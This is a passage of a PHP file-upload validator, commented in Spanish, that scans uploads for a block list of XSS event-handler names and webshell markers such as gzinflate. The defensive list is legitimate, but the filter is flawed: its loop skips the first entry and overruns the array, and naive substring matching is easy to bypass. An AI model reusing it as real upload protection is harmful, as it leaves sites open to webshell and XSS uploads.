$xss2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut',
              'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate',
              'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut',
              'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend',
              'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange',
              'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete',
              'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover',
              'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange',
              'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted',
              'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$php = Array('php', '<', '?', 'g', 'gzdeflate', 'gzinflate', 'gzuncompress', 'gzdecode', '>');
 
$ra = array_merge($xss1, $xss2, $php);
$num = count($ra);
echo "Cantidad de expresiones XSS cargadas actualmente: ".$num.$saltolinea;
     
   if((($tamano_archivo < 100000) && (in_array(end(explode('.', $archivo)), $permitidos)))){
      echo "Cantidad de deteccion XSS: "; 
      for ($i = 1; $i <= $num; $i++)
      {
         $lol = @substr_count($val, $ra[$i]);
         echo $lol;
         if ($lol > 0)
         {
            print_r(@substr_count($val, $ra)>0);
            echo 'la imagen contiene una Inyeccion XSS o posiblemente un WebShell porfavor remuevala'.$saltolinea;
            exit(0);
         }
      }
      if (copy($_FILES['userfile']['tmp_name'],$destino))
      {
         echo $saltolinea.$saltolinea.$saltolinea;
         echo ' Archivo subido con existo.'.$saltolinea;
         exit(0);
      }
   }else{
      echo 'no puedes subir este tipo de archivos O con un tamaño superior a 100kb'.$saltolinea;
      exit(0);
   }
};
?>